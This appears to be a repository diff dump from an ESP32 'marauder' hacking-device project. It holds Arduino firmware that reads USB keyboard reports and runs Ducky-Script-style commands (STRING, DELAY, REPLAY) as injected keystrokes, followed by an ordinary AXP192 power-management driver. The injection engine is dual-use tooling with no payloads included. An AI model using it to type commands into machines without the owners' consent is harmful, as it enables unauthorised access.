/*Serial.print("ASCII: \"");
|
||||
Serial.print((char)key);
|
||||
Serial.print("\" = 0x");
|
||||
Serial.print(key, HEX);
|
||||
Serial.print("; ");*/
|
||||
};
|
||||
|
||||
uint8_t KbdRptParser::_parse(uint8_t key){
|
||||
/*
|
||||
Serial.print("0x");
|
||||
Serial.print(key, HEX);
|
||||
Serial.print(" = ");*/
|
||||
switch(key){
|
||||
case CAPS_LOCK: return KEY_CAPS_LOCK; break; // CAPS
|
||||
case NUM_LOCK: return KEY_NUM_LOCK; break; // NUM LOCK
|
||||
case SCROLL_LOCK: return KEY_SCROLL_LOCK; break; // SCROLL LOCK
|
||||
case PRINT_SCREEN: return KEY_PRINT_SCREEN; break; // PRINT SCREEN
|
||||
case NUM_1 : if (!num_lock) return KEY_NUM_1; break;
|
||||
case NUM_2 : if (!num_lock) return KEY_NUM_2; break;
|
||||
case NUM_3 : if (!num_lock) return KEY_NUM_3; break;
|
||||
case NUM_4 : if (!num_lock) return KEY_NUM_4; break;
|
||||
case NUM_5 : if (!num_lock) return KEY_NUM_5; break;
|
||||
case NUM_6 : if (!num_lock) return KEY_NUM_6; break;
|
||||
case NUM_7 : if (!num_lock) return KEY_NUM_7; break;
|
||||
case NUM_8 : if (!num_lock) return KEY_NUM_8; break;
|
||||
case NUM_9 : if (!num_lock) return KEY_NUM_9; break;
|
||||
case NUM_0 : if (!num_lock) return KEY_NUM_0; break;
|
||||
case 0x2C: return 0x20; break; // SPACE
|
||||
case 40: return KEY_RETURN; break;
|
||||
case 41: return KEY_ESC; break;
|
||||
case 42: return KEY_BACKSPACE; break;
|
||||
case 43: return KEY_TAB; break;
|
||||
case 58: return KEY_F1; break;
|
||||
case 59: return KEY_F2; break;
|
||||
case 60: return KEY_F3; break;
|
||||
case 61: return KEY_F4; break;
|
||||
case 62: return KEY_F5; break;
|
||||
case 63: return KEY_F6; break;
|
||||
case 64: return KEY_F7; break;
|
||||
case 65: return KEY_F8; break;
|
||||
case 66: return KEY_F9; break;
|
||||
case 67: return KEY_F10; break;
|
||||
case 68: return KEY_F11; break;
|
||||
case 69: return KEY_F12; break;
|
||||
case 73: return KEY_INSERT; break;
|
||||
case 74: return KEY_HOME; break;
|
||||
case 75: return KEY_PAGE_UP; break;
|
||||
case 76: return KEY_DELETE; break;
|
||||
case 77: return KEY_END; break;
|
||||
case 78: return KEY_PAGE_DOWN; break;
|
||||
case 79: return KEY_RIGHT_ARROW; break;
|
||||
case 80: return KEY_LEFT_ARROW; break;
|
||||
case 81: return KEY_DOWN_ARROW; break;
|
||||
case 82: return KEY_UP_ARROW; break;
|
||||
case 88: return KEY_RETURN; break;
|
||||
//=====[DE-Keyboard]=====//
|
||||
case 0x64: return 236; break; // <
|
||||
case 0x32: return 92; break; // #
|
||||
//======================//
|
||||
default: {
|
||||
//Serial.print(" N/A ");
|
||||
return key;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
String KbdRptParser::_getChar(uint8_t key){
|
||||
switch(key){
|
||||
case CAPS_LOCK: return "<CAPS_LOCK>"; break; // CAPS
|
||||
case NUM_LOCK: return "<NUM_LOCK>"; break; // NUM LOCK
|
||||
case SCROLL_LOCK: return "<SCROLL_LOCK>"; break; // SCROLL LOCK
|
||||
case PRINT_SCREEN: return "<PRINT_SCREEN>"; break; // PRINT SCREEN
|
||||
//case NUM_1 : if (num_lock) return "<NUM_1>"; break;
|
||||
//case NUM_2 : if (num_lock) return "<NUM_2>"; break;
|
||||
//case NUM_3 : if (num_lock) return "<NUM_3>"; break;
|
||||
//case NUM_4 : if (num_lock) return "<NUM_4>"; break;
|
||||
//case NUM_5 : if (num_lock) return "<NUM_5>"; break;
|
||||
//case NUM_6 : if (num_lock) return "<NUM_6>"; break;
|
||||
//case NUM_7 : if (num_lock) return "<NUM_7>"; break;
|
||||
//case NUM_8 : if (num_lock) return "<NUM_8>"; break;
|
||||
//case NUM_9 : if (num_lock) return "<NUM_9>"; break;
|
||||
//case NUM_0 : if (num_lock) return "<NUM_0>"; break;
|
||||
case 0x2C: return " "; break;
|
||||
case 40: return "<RETURN>\n"; break;
|
||||
case 41: return "<ESC>\n"; break;
|
||||
case 42: return "<BACKSPCAE>"; break;
|
||||
case 43: return "<TAB>\n"; break;
|
||||
case 58: return "<F1>\n"; break;
|
||||
case 59: return "<F2>\n"; break;
|
||||
case 60: return "<F3>\n"; break;
|
||||
case 61: return "<F4>\n"; break;
|
||||
case 62: return "<F5>\n"; break;
|
||||
case 63: return "<F6>\n"; break;
|
||||
case 64: return "<F7>\n"; break;
|
||||
case 65: return "<F8>\n"; break;
|
||||
case 66: return "<F9>\n"; break;
|
||||
case 67: return "<F10>\n"; break;
|
||||
case 68: return "<F11>\n"; break;
|
||||
case 69: return "<F12>\n"; break;
|
||||
case 73: return "<INSERT>"; break;
|
||||
case 74: return "<HOME>\n"; break;
|
||||
case 75: return "<PAGE_UP>\n"; break;
|
||||
case 76: return "<DELETE>"; break;
|
||||
case 77: return "<END>\n"; break;
|
||||
case 78: return "<PAGE_DOWN>\n"; break;
|
||||
case 79: return "<RIGHT_ARROW>\n"; break;
|
||||
case 80: return "<LEFT_ARROW>\n"; break;
|
||||
case 81: return "<DOWN_ARROW>\n"; break;
|
||||
case 82: return "<UP_ARROW>\n"; break;
|
||||
case 88: return "<RETURN>\n"; break;
|
||||
//=====[DE-Keyboard]=====//
|
||||
case 0x64: {
|
||||
if(shift) return "<";
|
||||
else return ">";
|
||||
break;
|
||||
}
|
||||
case 0x32:{
|
||||
if(shift) return "'";
|
||||
else return "#";
|
||||
break;
|
||||
}
|
||||
//======================//
|
||||
default: {
|
||||
return "";
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void KbdRptParser::_press(uint8_t key){
|
||||
/*Serial.print("0x");
|
||||
Serial.print(key, HEX);
|
||||
Serial.println(" DOWN");*/
|
||||
Keyboard.press(key);
|
||||
}
|
||||
|
||||
void KbdRptParser::_release(uint8_t key){
|
||||
/*Serial.print("0x");
|
||||
Serial.print(key, HEX);
|
||||
Serial.println(" UP");
|
||||
Serial.println();*/
|
||||
Keyboard.release(key);
|
||||
}
|
||||
|
||||
KbdRptParser parser;
|
||||
|
||||
void Line(String _line)
|
||||
{
|
||||
int firstSpace = _line.indexOf(" ");
|
||||
if(firstSpace == -1) Press(_line);
|
||||
else if(_line.substring(0,firstSpace) == "STRING"){
|
||||
for(int i=firstSpace+1;i<_line.length();i++) Keyboard.write(_line[i]);
|
||||
}
|
||||
else if(_line.substring(0,firstSpace) == "DELAY"){
|
||||
int delaytime = _line.substring(firstSpace + 1).toInt();
|
||||
delay(delaytime);
|
||||
}
|
||||
else if(_line.substring(0,firstSpace) == "DEFAULTDELAY") defaultDelay = _line.substring(firstSpace + 1).toInt();
|
||||
else if(_line.substring(0,firstSpace) == "REM"){} //nothing :/
|
||||
else if(_line.substring(0,firstSpace) == "REPLAY") {
|
||||
int replaynum = _line.substring(firstSpace + 1).toInt();
|
||||
while(replaynum)
|
||||
{
|
||||
Line(last);
|
||||
--replaynum;
|
||||
}
|
||||
} else{
|
||||
String remain = _line;
|
||||
|
||||
while(remain.length() > 0){
|
||||
int latest_space = remain.indexOf(" ");
|
||||
if (latest_space == -1){
|
||||
Press(remain);
|
||||
remain = "";
|
||||
}
|
||||
else{
|
||||
Press(remain.substring(0, latest_space));
|
||||
remain = remain.substring(latest_space + 1);
|
||||
}
|
||||
delay(5);
|
||||
}
|
||||
}
|
||||
|
||||
Keyboard.releaseAll();
|
||||
delay(defaultDelay);
|
||||
}
|
||||
|
||||
|
||||
void Press(String b){
|
||||
if(b.length() == 1) Keyboard.press(char(b[0]));
|
||||
else if (b.equals("ENTER")) Keyboard.press(KEY_RETURN);
|
||||
else if (b.equals("CTRL")) Keyboard.press(KEY_LEFT_CTRL);
|
||||
else if (b.equals("SHIFT")) Keyboard.press(KEY_LEFT_SHIFT);
|
||||
else if (b.equals("ALT")) Keyboard.press(KEY_LEFT_ALT);
|
||||
else if (b.equals("GUI")) Keyboard.press(KEY_LEFT_GUI);
|
||||
else if (b.equals("UP") || b.equals("UPARROW")) Keyboard.press(KEY_UP_ARROW);
|
||||
else if (b.equals("DOWN") || b.equals("DOWNARROW")) Keyboard.press(KEY_DOWN_ARROW);
|
||||
else if (b.equals("LEFT") || b.equals("LEFTARROW")) Keyboard.press(KEY_LEFT_ARROW);
|
||||
else if (b.equals("RIGHT") || b.equals("RIGHTARROW")) Keyboard.press(KEY_RIGHT_ARROW);
|
||||
else if (b.equals("DELETE")) Keyboard.press(KEY_DELETE);
|
||||
else if (b.equals("PAGEUP")) Keyboard.press(KEY_PAGE_UP);
|
||||
else if (b.equals("PAGEDOWN")) Keyboard.press(KEY_PAGE_DOWN);
|
||||
else if (b.equals("HOME")) Keyboard.press(KEY_HOME);
|
||||
else if (b.equals("ESC")) Keyboard.press(KEY_ESC);
|
||||
else if (b.equals("BACKSPACE")) Keyboard.press(KEY_BACKSPACE);
|
||||
else if (b.equals("INSERT")) Keyboard.press(KEY_INSERT);
|
||||
else if (b.equals("TAB")) Keyboard.press(KEY_TAB);
|
||||
else if (b.equals("END")) Keyboard.press(KEY_END);
|
||||
else if (b.equals("CAPSLOCK")) Keyboard.press(KEY_CAPS_LOCK);
|
||||
else if (b.equals("F1")) Keyboard.press(KEY_F1);
|
||||
else if (b.equals("F2")) Keyboard.press(KEY_F2);
|
||||
else if (b.equals("F3")) Keyboard.press(KEY_F3);
|
||||
else if (b.equals("F4")) Keyboard.press(KEY_F4);
|
||||
else if (b.equals("F5")) Keyboard.press(KEY_F5);
|
||||
else if (b.equals("F6")) Keyboard.press(KEY_F6);
|
||||
else if (b.equals("F7")) Keyboard.press(KEY_F7);
|
||||
else if (b.equals("F8")) Keyboard.press(KEY_F8);
|
||||
else if (b.equals("F9")) Keyboard.press(KEY_F9);
|
||||
else if (b.equals("F10")) Keyboard.press(KEY_F10);
|
||||
else if (b.equals("F11")) Keyboard.press(KEY_F11);
|
||||
else if (b.equals("F12")) Keyboard.press(KEY_F12);
|
||||
else if (b.equals("SPACE")) Keyboard.press(' ');
|
||||
//else Serial.println("not found :'"+b+"'("+String(b.length())+")");
|
||||
}
|
||||
|
||||
|
||||
void setup()
|
||||
{
|
||||
Serial.begin(115200);
|
||||
//Serial1.begin(115200);
|
||||
Keyboard.begin();
|
||||
delay(2000);
|
||||
|
||||
pinMode(LED_BUILTIN, OUTPUT);
|
||||
|
||||
// Turn signal LED off
|
||||
digitalWrite(LED_BUILTIN, LOW);
|
||||
|
||||
//Serial1.println("\n\nLogging keys...\n");
|
||||
/*
|
||||
for(int i=0;i<256;i++){
|
||||
|
||||
int key = parser._parse(i);
|
||||
if(key == i){
|
||||
Keyboard.print((String)i+" ");
|
||||
Keyboard.write(i);
|
||||
delay(200);
|
||||
Keyboard.write(KEY_RETURN);
|
||||
}
|
||||
}*/
|
||||
|
||||
if(Usb.Init() == -1) Serial.println("OSC did not start.");
|
||||
|
||||
delay(200);
|
||||
|
||||
next_time = millis() + 5000;
|
||||
|
||||
HidKeyboard.SetReportParser(0, &parser);
|
||||
|
||||
}
|
||||
|
||||
void loop(){
|
||||
Usb.Task();
|
||||
|
||||
if(Serial.available()) {
|
||||
bufferStr = Serial.readStringUntil("END");
|
||||
//Serial.println(bufferStr);
|
||||
}
|
||||
|
||||
if(bufferStr.length() > 0){
|
||||
|
||||
bufferStr.replace("\r","\n");
|
||||
bufferStr.replace("\n\n","\n");
|
||||
|
||||
while(bufferStr.length() > 0){
|
||||
int latest_return = bufferStr.indexOf("\n");
|
||||
if(latest_return == -1){
|
||||
//Serial.println("run: "+bufferStr);
|
||||
Line(bufferStr);
|
||||
bufferStr = "";
|
||||
} else{
|
||||
//Serial.println("run: '"+bufferStr.substring(0, latest_return)+"'");
|
||||
Line(bufferStr.substring(0, latest_return));
|
||||
last=bufferStr.substring(0, latest_return);
|
||||
bufferStr = bufferStr.substring(latest_return + 1);
|
||||
}
|
||||
}
|
||||
|
||||
bufferStr = "";
|
||||
Serial.write(0x99);
|
||||
//Serial.println("done");
|
||||
}
|
||||
}
|
||||
435
esp32_marauder/AXP192.cpp
Normal file
435
esp32_marauder/AXP192.cpp
Normal file
@@ -0,0 +1,435 @@
|
||||
#include "AXP192.h"
|
||||
|
||||
AXP192::AXP192() {
|
||||
}
|
||||
|
||||
void AXP192::begin(void) {
|
||||
Wire1.begin(21, 22);
|
||||
Wire1.setClock(400000);
|
||||
|
||||
// Set LDO2 & LDO3(TFT_LED & TFT) 3.0V
|
||||
Write1Byte(0x28, 0xcc);
|
||||
|
||||
// Set ADC to All Enable
|
||||
Write1Byte(0x82, 0xff);
|
||||
|
||||
// Bat charge voltage to 4.2, Current 100MA
|
||||
Write1Byte(0x33, 0xc0);
|
||||
|
||||
// Enable Bat,ACIN,VBUS,APS adc
|
||||
Write1Byte(0x82, 0xff);
|
||||
|
||||
// Enable Ext, LDO2, LDO3, DCDC1
|
||||
Write1Byte(0x12, Read8bit(0x12) | 0x4D);
|
||||
|
||||
// 128ms power on, 4s power off
|
||||
Write1Byte(0x36, 0x0C);
|
||||
|
||||
// Set RTC voltage to 3.3V
|
||||
Write1Byte(0x91, 0xF0);
|
||||
|
||||
// Set GPIO0 to LDO
|
||||
Write1Byte(0x90, 0x02);
|
||||
|
||||
// Disable vbus hold limit
|
||||
Write1Byte(0x30, 0x80);
|
||||
|
||||
// Set temperature protection
|
||||
Write1Byte(0x39, 0xfc);
|
||||
|
||||
// Enable RTC BAT charge
|
||||
Write1Byte(0x35, 0xa2);
|
||||
|
||||
// Enable bat detection
|
||||
Write1Byte(0x32, 0x46);
|
||||
|
||||
// ScreenBreath(80);
|
||||
}
|
||||
|
||||
void AXP192::Write1Byte(uint8_t Addr, uint8_t Data) {
|
||||
Wire1.beginTransmission(0x34);
|
||||
Wire1.write(Addr);
|
||||
Wire1.write(Data);
|
||||
Wire1.endTransmission();
|
||||
}
|
||||
|
||||
uint8_t AXP192::Read8bit(uint8_t Addr) {
|
||||
Wire1.beginTransmission(0x34);
|
||||
Wire1.write(Addr);
|
||||
Wire1.endTransmission();
|
||||
Wire1.requestFrom(0x34, 1);
|
||||
return Wire1.read();
|
||||
}
|
||||
|
||||
uint16_t AXP192::Read12Bit(uint8_t Addr) {
|
||||
uint16_t Data = 0;
|
||||
uint8_t buf[2];
|
||||
ReadBuff(Addr, 2, buf);
|
||||
Data = ((buf[0] << 4) + buf[1]); //
|
||||
return Data;
|
||||
}
|
||||
|
||||
uint16_t AXP192::Read13Bit(uint8_t Addr) {
|
||||
uint16_t Data = 0;
|
||||
uint8_t buf[2];
|
||||
ReadBuff(Addr, 2, buf);
|
||||
Data = ((buf[0] << 5) + buf[1]); //
|
||||
return Data;
|
||||
}
|
||||
|
||||
uint16_t AXP192::Read16bit(uint8_t Addr) {
|
||||
uint16_t ReData = 0;
|
||||
Wire1.beginTransmission(0x34);
|
||||
Wire1.write(Addr);
|
||||
Wire1.endTransmission();
|
||||
Wire1.requestFrom(0x34, 2);
|
||||
for (int i = 0; i < 2; i++) {
|
||||
ReData <<= 8;
|
||||
ReData |= Wire1.read();
|
||||
}
|
||||
return ReData;
|
||||
}
|
||||
|
||||
uint32_t AXP192::Read24bit(uint8_t Addr) {
|
||||
uint32_t ReData = 0;
|
||||
Wire1.beginTransmission(0x34);
|
||||
Wire1.write(Addr);
|
||||
Wire1.endTransmission();
|
||||
Wire1.requestFrom(0x34, 3);
|
||||
for (int i = 0; i < 3; i++) {
|
||||
ReData <<= 8;
|
||||
ReData |= Wire1.read();
|
||||
}
|
||||
return ReData;
|
||||
}
|
||||
|
||||
uint32_t AXP192::Read32bit(uint8_t Addr) {
|
||||
uint32_t ReData = 0;
|
||||
Wire1.beginTransmission(0x34);
|
||||
Wire1.write(Addr);
|
||||
Wire1.endTransmission();
|
||||
Wire1.requestFrom(0x34, 4);
|
||||
for (int i = 0; i < 4; i++) {
|
||||
ReData <<= 8;
|
||||
ReData |= Wire1.read();
|
||||
}
|
||||
return ReData;
|
||||
}
|
||||
|
||||
void AXP192::ReadBuff(uint8_t Addr, uint8_t Size, uint8_t *Buff) {
|
||||
Wire1.beginTransmission(0x34);
|
||||
Wire1.write(Addr);
|
||||
Wire1.endTransmission();
|
||||
Wire1.requestFrom(0x34, (int)Size);
|
||||
for (int i = 0; i < Size; i++) {
|
||||
*(Buff + i) = Wire1.read();
|
||||
}
|
||||
}
|
||||
|
||||
void AXP192::ScreenBreath(int brightness) {
|
||||
if (brightness > 100 || brightness < 0) return;
|
||||
int vol = map(brightness, 0, 100, 2500, 3200);
|
||||
vol = (vol < 1800) ? 0 : (vol - 1800) / 100;
|
||||
uint8_t buf = Read8bit(0x28);
|
||||
Write1Byte(0x28, ((buf & 0x0f) | ((uint16_t)vol << 4)));
|
||||
}
|
||||
|
||||
void AXP192::ScreenSwitch(bool state) {
|
||||
uint8_t brightness;
|
||||
if (state == false) {
|
||||
brightness = 0;
|
||||
} else if (state == true) {
|
||||
brightness = 12;
|
||||
}
|
||||
uint8_t buf = Read8bit(0x28);
|
||||
Write1Byte(0x28, ((buf & 0x0f) | (brightness << 4)));
|
||||
}
|
||||
|
||||
bool AXP192::GetBatState() {
|
||||
if (Read8bit(0x01) | 0x20)
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
//---------coulombcounter_from_here---------
|
||||
// enable: void EnableCoulombcounter(void);
|
||||
// disable: void DisableCOulombcounter(void);
|
||||
// stop: void StopCoulombcounter(void);
|
||||
// clear: void ClearCoulombcounter(void);
|
||||
// get charge data: uint32_t GetCoulombchargeData(void);
|
||||
// get discharge data: uint32_t GetCoulombdischargeData(void);
|
||||
// get coulomb val affter calculation: float GetCoulombData(void);
|
||||
//------------------------------------------
|
||||
void AXP192::EnableCoulombcounter(void) {
|
||||
Write1Byte(0xB8, 0x80);
|
||||
}
|
||||
|
||||
void AXP192::DisableCoulombcounter(void) {
|
||||
Write1Byte(0xB8, 0x00);
|
||||
}
|
||||
|
||||
void AXP192::StopCoulombcounter(void) {
|
||||
Write1Byte(0xB8, 0xC0);
|
||||
}
|
||||
|
||||
void AXP192::ClearCoulombcounter(void) {
|
||||
Write1Byte(0xB8, 0xA0);
|
||||
}
|
||||
|
||||
uint32_t AXP192::GetCoulombchargeData(void) {
|
||||
return Read32bit(0xB0);
|
||||
}
|
||||
|
||||
uint32_t AXP192::GetCoulombdischargeData(void) {
|
||||
return Read32bit(0xB4);
|
||||
}
|
||||
|
||||
float AXP192::GetCoulombData(void) {
|
||||
uint32_t coin = 0;
|
||||
uint32_t coout = 0;
|
||||
|
||||
coin = GetCoulombchargeData();
|
||||
coout = GetCoulombdischargeData();
|
||||
|
||||
// c = 65536 * current_LSB * (coin - coout) / 3600 / ADC rate
|
||||
// Adc rate can be read from 84H ,change this variable if you change the ADC
|
||||
// reate
|
||||
float ccc = 65536 * 0.5 * (int32_t)(coin - coout) / 3600.0 / 25.0;
|
||||
|
||||
return ccc;
|
||||
}
|
||||
//----------coulomb_end_at_here----------
|
||||
|
||||
uint16_t AXP192::GetVbatData(void) {
|
||||
uint16_t vbat = 0;
|
||||
uint8_t buf[2];
|
||||
ReadBuff(0x78, 2, buf);
|
||||
vbat = ((buf[0] << 4) + buf[1]); // V
|
||||
return vbat;
|
||||
}
|
||||
|
||||
uint16_t AXP192::GetVinData(void) {
|
||||
uint16_t vin = 0;
|
||||
uint8_t buf[2];
|
||||
ReadBuff(0x56, 2, buf);
|
||||
vin = ((buf[0] << 4) + buf[1]); // V
|
||||
return vin;
|
||||
}
|
||||
|
||||
uint16_t AXP192::GetIinData(void) {
|
||||
uint16_t iin = 0;
|
||||
uint8_t buf[2];
|
||||
ReadBuff(0x58, 2, buf);
|
||||
iin = ((buf[0] << 4) + buf[1]);
|
||||
return iin;
|
||||
}
|
||||
|
||||
uint16_t AXP192::GetVusbinData(void) {
|
||||
uint16_t vin = 0;
|
||||
uint8_t buf[2];
|
||||
ReadBuff(0x5a, 2, buf);
|
||||
vin = ((buf[0] << 4) + buf[1]); // V
|
||||
return vin;
|
||||
}
|
||||
|
||||
uint16_t AXP192::GetIusbinData(void) {
|
||||
uint16_t iin = 0;
|
||||
uint8_t buf[2];
|
||||
ReadBuff(0x5C, 2, buf);
|
||||
iin = ((buf[0] << 4) + buf[1]);
|
||||
return iin;
|
||||
}
|
||||
|
||||
uint16_t AXP192::GetIchargeData(void) {
|
||||
uint16_t icharge = 0;
|
||||
uint8_t buf[2];
|
||||
ReadBuff(0x7A, 2, buf);
|
||||
icharge = (buf[0] << 5) + buf[1];
|
||||
return icharge;
|
||||
}
|
||||
|
||||
uint16_t AXP192::GetIdischargeData(void) {
|
||||
uint16_t idischarge = 0;
|
||||
uint8_t buf[2];
|
||||
ReadBuff(0x7C, 2, buf);
|
||||
idischarge = (buf[0] << 5) + buf[1];
|
||||
return idischarge;
|
||||
}
|
||||
|
||||
uint16_t AXP192::GetTempData(void) {
|
||||
uint16_t temp = 0;
|
||||
uint8_t buf[2];
|
||||
ReadBuff(0x5e, 2, buf);
|
||||
temp = ((buf[0] << 4) + buf[1]);
|
||||
return temp;
|
||||
}
|
||||
|
||||
uint32_t AXP192::GetPowerbatData(void) {
|
||||
uint32_t power = 0;
|
||||
uint8_t buf[3];
|
||||
ReadBuff(0x70, 2, buf);
|
||||
power = (buf[0] << 16) + (buf[1] << 8) + buf[2];
|
||||
return power;
|
||||
}
|
||||
|
||||
uint16_t AXP192::GetVapsData(void) {
|
||||
uint16_t vaps = 0;
|
||||
uint8_t buf[2];
|
||||
ReadBuff(0x7e, 2, buf);
|
||||
vaps = ((buf[0] << 4) + buf[1]);
|
||||
return vaps;
|
||||
}
|
||||
|
||||
void AXP192::SetSleep(void) {
|
||||
uint8_t buf = Read8bit(0x31);
|
||||
buf = (1 << 3) | buf;
|
||||
Write1Byte(0x31, buf);
|
||||
Write1Byte(0x90, 0x00);
|
||||
Write1Byte(0x12, 0x09);
|
||||
// Write1Byte(0x12, 0x00);
|
||||
Write1Byte(0x12, Read8bit(0x12) & 0xA1); // Disable all outputs but DCDC1
|
||||
}
|
||||
|
||||
uint8_t AXP192::GetWarningLeve(void) {
|
||||
Wire1.beginTransmission(0x34);
|
||||
Wire1.write(0x47);
|
||||
Wire1.endTransmission();
|
||||
Wire1.requestFrom(0x34, 1);
|
||||
uint8_t buf = Wire1.read();
|
||||
return (buf & 0x01);
|
||||
}
|
||||
|
||||
// -- sleep
|
||||
void AXP192::DeepSleep(uint64_t time_in_us) {
|
||||
SetSleep();
|
||||
|
||||
if (time_in_us > 0) {
|
||||
esp_sleep_enable_timer_wakeup(time_in_us);
|
||||
} else {
|
||||
esp_sleep_disable_wakeup_source(ESP_SLEEP_WAKEUP_TIMER);
|
||||
}
|
||||
(time_in_us == 0) ? esp_deep_sleep_start() : esp_deep_sleep(time_in_us);
|
||||
}
|
||||
|
||||
void AXP192::LightSleep(uint64_t time_in_us) {
|
||||
SetSleep();
|
||||
|
||||
if (time_in_us > 0) {
|
||||
esp_sleep_enable_timer_wakeup(time_in_us);
|
||||
} else {
|
||||
esp_sleep_disable_wakeup_source(ESP_SLEEP_WAKEUP_TIMER);
|
||||
}
|
||||
esp_light_sleep_start();
|
||||
}
|
||||
|
||||
// 0 not press, 0x01 long press, 0x02 press
|
||||
uint8_t AXP192::GetBtnPress() {
|
||||
uint8_t state = Read8bit(0x46);
|
||||
if (state) {
|
||||
Write1Byte(0x46, 0x03);
|
||||
}
|
||||
return state;
|
||||
}
|
||||
|
||||
uint8_t AXP192::GetWarningLevel(void) {
|
||||
return Read8bit(0x47) & 0x01;
|
||||
}
|
||||
|
||||
float AXP192::GetBatVoltage() {
|
||||
float ADCLSB = 1.1 / 1000.0;
|
||||
uint16_t ReData = Read12Bit(0x78);
|
||||
return ReData * ADCLSB;
|
||||
}
|
||||
|
||||
float AXP192::GetBatCurrent() {
|
||||
float ADCLSB = 0.5;
|
||||
uint16_t CurrentIn = Read13Bit(0x7A);
|
||||
uint16_t CurrentOut = Read13Bit(0x7C);
|
||||
return (CurrentIn - CurrentOut) * ADCLSB;
|
||||
}
|
||||
|
||||
float AXP192::GetVinVoltage() {
|
||||
float ADCLSB = 1.7 / 1000.0;
|
||||
uint16_t ReData = Read12Bit(0x56);
|
||||
return ReData * ADCLSB;
|
||||
}
|
||||
|
||||
float AXP192::GetVinCurrent() {
|
||||
float ADCLSB = 0.625;
|
||||
uint16_t ReData = Read12Bit(0x58);
|
||||
return ReData * ADCLSB;
|
||||
}
|
||||
|
||||
float AXP192::GetVBusVoltage() {
|
||||
float ADCLSB = 1.7 / 1000.0;
|
||||
uint16_t ReData = Read12Bit(0x5A);
|
||||
return ReData * ADCLSB;
|
||||
}
|
||||
|
||||
float AXP192::GetVBusCurrent() {
|
||||
float ADCLSB = 0.375;
|
||||
uint16_t ReData = Read12Bit(0x5C);
|
||||
return ReData * ADCLSB;
|
||||
}
|
||||
|
||||
float AXP192::GetTempInAXP192() {
|
||||
float ADCLSB = 0.1;
|
||||
const float OFFSET_DEG_C = -144.7;
|
||||
uint16_t ReData = Read12Bit(0x5E);
|
||||
return OFFSET_DEG_C + ReData * ADCLSB;
|
||||
}
|
||||
|
||||
float AXP192::GetBatPower() {
|
||||
float VoltageLSB = 1.1;
|
||||
float CurrentLCS = 0.5;
|
||||
uint32_t ReData = Read24bit(0x70);
|
||||
return VoltageLSB * CurrentLCS * ReData / 1000.0;
|
||||
}
|
||||
|
||||
float AXP192::GetBatChargeCurrent() {
|
||||
float ADCLSB = 0.5;
|
||||
uint16_t ReData = Read12Bit(0x7A);
|
||||
return ReData * ADCLSB;
|
||||
}
|
||||
float AXP192::GetAPSVoltage() {
|
||||
float ADCLSB = 1.4 / 1000.0;
|
||||
uint16_t ReData = Read12Bit(0x7E);
|
||||
return ReData * ADCLSB;
|
||||
}
|
||||
|
||||
float AXP192::GetBatCoulombInput() {
|
||||
uint32_t ReData = Read32bit(0xB0);
|
||||
return ReData * 65536 * 0.5 / 3600 / 25.0;
|
||||
}
|
||||
|
||||
float AXP192::GetBatCoulombOut() {
|
||||
uint32_t ReData = Read32bit(0xB4);
|
||||
return ReData * 65536 * 0.5 / 3600 / 25.0;
|
||||
}
|
||||
|
||||
void AXP192::SetCoulombClear() {
|
||||
Write1Byte(0xB8, 0x20);
|
||||
}
|
||||
|
||||
void AXP192::SetLDO2(bool State) {
|
||||
uint8_t buf = Read8bit(0x12);
|
||||
if (State == true)
|
||||
buf = (1 << 2) | buf;
|
||||
else
|
||||
buf = ~(1 << 2) & buf;
|
||||
Write1Byte(0x12, buf);
|
||||
}
|
||||
|
||||
// Cut all power, except for LDO1 (RTC)
|
||||
void AXP192::PowerOff() {
|
||||
Write1Byte(0x32, Read8bit(0x32) | 0x80); // MSB for Power Off
|
||||
}
|
||||
|
||||
void AXP192::SetPeripherialsPower(uint8_t state) {
|
||||
if (!state)
|
||||
Write1Byte(0x10, Read8bit(0x10) & 0XFB);
|
||||
else if (state)
|
||||
Write1Byte(0x10, Read8bit(0x10) | 0X04);
|
||||
// uint8_t data;
|
||||
// Set EXTEN to enable 5v boost
|
||||
}
|
||||
81
esp32_marauder/AXP192.h
Normal file
81
esp32_marauder/AXP192.h
Normal file
@@ -0,0 +1,81 @@
|
||||
#ifndef __AXP192_H__
|
||||
#define __AXP192_H__
|
||||
|
||||
#include <Arduino.h>
|
||||
#include <Wire.h>
|
||||
|
||||
#define SLEEP_MSEC(us) (((uint64_t)us) * 1000L)
|
||||
#define SLEEP_SEC(us) (((uint64_t)us) * 1000000L)
|
||||
#define SLEEP_MIN(us) (((uint64_t)us) * 60L * 1000000L)
|
||||
#define SLEEP_HR(us) (((uint64_t)us) * 60L * 60L * 1000000L)
|
||||
|
||||
class AXP192 {
|
||||
public:
|
||||
AXP192();
|
||||
void begin(void);
|
||||
void ScreenBreath(int brightness);
|
||||
void ScreenSwitch(bool state);
|
||||
|
||||
bool GetBatState();
|
||||
|
||||
void EnableCoulombcounter(void);
|
||||
void DisableCoulombcounter(void);
|
||||
void StopCoulombcounter(void);
|
||||
void ClearCoulombcounter(void);
|
||||
uint32_t GetCoulombchargeData(void);
|
||||
uint32_t GetCoulombdischargeData(void);
|
||||
float GetCoulombData(void);
|
||||
|
||||
uint16_t GetVbatData(void) __attribute__((deprecated));
|
||||
uint16_t GetIchargeData(void) __attribute__((deprecated));
|
||||
uint16_t GetIdischargeData(void) __attribute__((deprecated));
|
||||
uint16_t GetTempData(void) __attribute__((deprecated));
|
||||
uint32_t GetPowerbatData(void) __attribute__((deprecated));
|
||||
uint16_t GetVinData(void) __attribute__((deprecated));
|
||||
uint16_t GetIinData(void) __attribute__((deprecated));
|
||||
uint16_t GetVusbinData(void) __attribute__((deprecated));
|
||||
uint16_t GetIusbinData(void) __attribute__((deprecated));
|
||||
uint16_t GetVapsData(void) __attribute__((deprecated));
|
||||
uint8_t GetBtnPress(void);
|
||||
|
||||
// -- sleep
|
||||
void SetSleep(void);
|
||||
void DeepSleep(uint64_t time_in_us = 0);
|
||||
void LightSleep(uint64_t time_in_us = 0);
|
||||
uint8_t GetWarningLeve(void);
|
||||
|
||||
public:
|
||||
// void SetChargeVoltage( uint8_t );
|
||||
// void SetChargeCurrent( uint8_t );
|
||||
float GetBatVoltage();
|
||||
float GetBatCurrent();
|
||||
float GetVinVoltage();
|
||||
float GetVinCurrent();
|
||||
float GetVBusVoltage();
|
||||
float GetVBusCurrent();
|
||||
float GetTempInAXP192();
|
||||
float GetBatPower();
|
||||
float GetBatChargeCurrent();
|
||||
float GetAPSVoltage();
|
||||
float GetBatCoulombInput();
|
||||
float GetBatCoulombOut();
|
||||
